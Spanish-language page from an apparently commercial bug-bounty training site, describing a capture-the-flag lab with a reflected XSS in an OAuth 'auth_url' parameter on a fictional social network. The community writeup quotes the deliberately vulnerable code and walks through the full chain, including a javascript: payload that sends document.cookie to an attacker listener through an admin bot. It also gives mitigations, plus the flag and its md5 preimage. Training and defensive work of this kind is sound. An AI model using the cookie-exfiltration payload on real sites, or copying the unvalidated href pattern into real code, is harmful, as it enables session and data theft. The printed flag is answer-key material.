Reflected XSS via `auth_url` + admin DM bot + cookie exfil
Red social ficticia "Plux" (login + feed + chat DM + notificaciones + ambient ticker) construida sobre Express + TypeScript con un sink XSS reflejado en `/googleAuthorization.html`. El parámetro GET `auth_url` se asigna directamente al atributo `href` de un botón "Continuar a Google" que se auto-clickea tras 2.2 segundos vía `setTimeout`. Un valor `auth_url=javascript:...` ejecuta el código en el origen de Plux. El admin **Marina Reyes** (bot Puppeteer) polea su bandeja de DMs cada 5s, extrae URLs, las abre en Chromium con sus cookies cargadas (`plux_sid` httpOnly + `plux_flag` no-httpOnly), y permanece en la página 4.5s — tiempo suficiente para que el sink dispare el auto-click y el payload `fetch` exfiltre `document.cookie` al listener del atacante. La cookie `plux_flag` contiene la flag en claro
Aprende a encontrar este bug
Este bug pagó $500 en HackerOne.
Crea tu cuenta y practica bugs reales que se pagaron. Descarga el entorno, encuéntralo y aprende la técnica exacta — tu camino a tu primer bounty.
- hunters entrenando
- 650
- labs de reportes reales
- 50
- completaciones
- 380
- en bounties practicados
- $200.000
hunters entrenando
labs de reportes reales
completaciones
en bounties practicados
Acceso a todos los labs · sin permanencia · cancela cuando quieras
Hunters que lo han resuelto· 8
Objetivos
Logro que recibirás
Cuando resuelvas este lab desbloqueas este logro compartible
Reflected XSS via `auth_url` + admin DM bot + cookie exfil
Writeups de la comunidad
Plux es una red social ficticia minimalista, construida sobre Express +
TypeScript con frontend de HTML/CSS/JS plano servido como estáticos.
El estado vive completamente en memoria (Maps de users, posts, messages,
notifications) — sin SQLite. Un reinicio del contenedor = lab limpio.
Capa 1 — El sink XSS (CWE-79)
server/public/googleAuthorization.html es una página estándar de "iniciando
sesión con Google" con un botón blanco grande "Continuar a Google →". El JS
inline:
const params = new URLSearchParams(location.search);
const authUrl = params.get('auth_url') || 'https://accounts.google.com/o/oauth2/v2/auth?...';
const btn = document.getElementById('continue-btn');
btn.href = authUrl; // ⚠ reflexión sin validar
setTimeout(() => btn.click(), 2200); // ⚠ auto-click → activa javascript: URI
El sink es la asignación btn.href = authUrl. Browsers permiten clickear
programáticamente un <a href="javascript:..."> y eso ejecuta el código
como si fuera JS de la propia página (mismo origin). Conauth_url=javascript:alert(document.domain) salta el alert tras 2.2s.
Capa 2 — Cookie sin httpOnly (CWE-1004)
En server/src/auth.ts:setSessionCookies:
res.cookie('plux_sid', token, { httpOnly: true, ... }); // postura correcta
if (u.role === 'admin') {
res.cookie('plux_flag', FLAG, { httpOnly: false, ... }); // anti-patrón
}
Solo el admin recibe plux_flag. El comentario en código justifica
narrativamente el anti-patrón ("el SDK de analytics interno lo lee con
JS"). El valor de la cookie es la flag en claro: FLAG{md5(preimage)}.
Capa 3 — Bot admin (Puppeteer)
server/src/adminBot.ts ejecuta un loop cada 5s:
- Login del bot como admin (password rotada por boot, leída de
process.env.ADMIN_PASSWORDqueseed.tssetea). GET /api/_internal/admin-inbox?since_min=10— devuelve mensajes que
le mandaron en los últimos 10 minutos y que el bot aún no ha "visto".- Por cada mensaje con URL: rewrite
127.0.0.1 → host.docker.internal,
allowlist (localhost,127.0.0.1,host.docker.internal,plux),
launch Chromium,page.setCookie(plux_sid + plux_flag)para los 4
hostnames del lab,page.goto(url, { waitUntil: 'domcontentloaded' }),
esperar 4.5s (dwell), cerrar.
El allowlist solo aplica a la URL del PAGE NAVIGATION del bot. El fetch
que la página XSS-vulnerable ejecuta después del click NO está restringido
— ese es el canal de exfil hacia host.docker.internal:9999.
Capa 4 — Ambient activity (UX vivo)
server/src/ambient.ts:
- Cada 8–15s un bot ambiente envía DM a otro bot ("¿café en 30 min?", etc.).
- Cada 20–35s un bot likea un post aleatorio.
- Los bots se marcan "online" cada 30s.
- Cuando el atacante envía un mensaje a un bot ambiente, 35% de prob.
de respuesta tras 2–4s ("¡hey! ¿qué tal?"). - Cuando el atacante envía un mensaje al admin Marina: ella responde a
los 3s ("¡hola! ¿en qué puedo ayudarte?") y, si el mensaje contiene
una URL, responde a los 6s adicionales ("voy a echarle un vistazo,
gracias por avisar 🙏") — dando sensación de agente real antes de que
el bot Puppeteer abra el enlace.
La cadena completa
- Atacante login a Plux.
- Construye payload
javascript:fetch('http://host.docker.internal:9999/?c='+encodeURIComponent(document.cookie)). - URL-encode y mete en
/googleAuthorization.html?auth_url=.... - Manda el link a Marina por DM.
- Marina responde scripts ("hola", "voy a echarle un vistazo").
- El bot Puppeteer abre la URL con
plux_sid(httpOnly) yplux_flag
(no httpOnly) ya inyectadas como cookies del dominio del lab. - El JS de la página lee
auth_url, lo planta enhref, auto-clickea. - El
javascript:URI ejecutafetch('http://host.docker.internal:9999/?c='+encodeURIComponent(document.cookie)). document.cookieen el navegador del bot devuelveplux_flag=FLAG{...}
(porqueplux_sides httpOnly y no aparece ahí).- El listener del alumno recibe la request y muestra la cookie
en el access log.
Por qué este patrón es real
El template viene de un reporte de bug bounty (intent: "lab al estilo
del reporte original donde googleAuthorization.html?auth_url=javascript:alert(document.domain)
disparaba XSS"). El patrón es común en flujos de OAuth donde el
frontend recibe la URL de autorización ya construida por el backend y
la pone "ciegamente" en un <a> — sin validar que el esquema seahttps: y el host accounts.google.com.
Mitigaciones (cubiertas en el writeup)
// Antes de asignar a btn.href:
try {
const u = new URL(authUrl);
if (u.protocol !== 'https:' || !u.host.endsWith('accounts.google.com')) {
throw new Error('auth_url no es de Google');
}
btn.href = u.toString();
} catch (e) {
showError('No pudimos completar el login con Google.');
return;
}
Y en la cookie:
res.cookie('plux_flag', value, { httpOnly: true, secure: true, sameSite: 'lax' });
Si tu SDK necesita el valor en JS, dale un endpoint /api/internal-token
con requireAuth — nunca metas datos sensibles en una cookie no httpOnly.
Flag
FLAG{a669a43d15eb9581e13d722eb4b4b33b}
Verificación:
echo -n 'plux::share-link-xss::auth_url-href-javascript::2026' | md5sum
# a669a43d15eb9581e13d722eb4b4b33b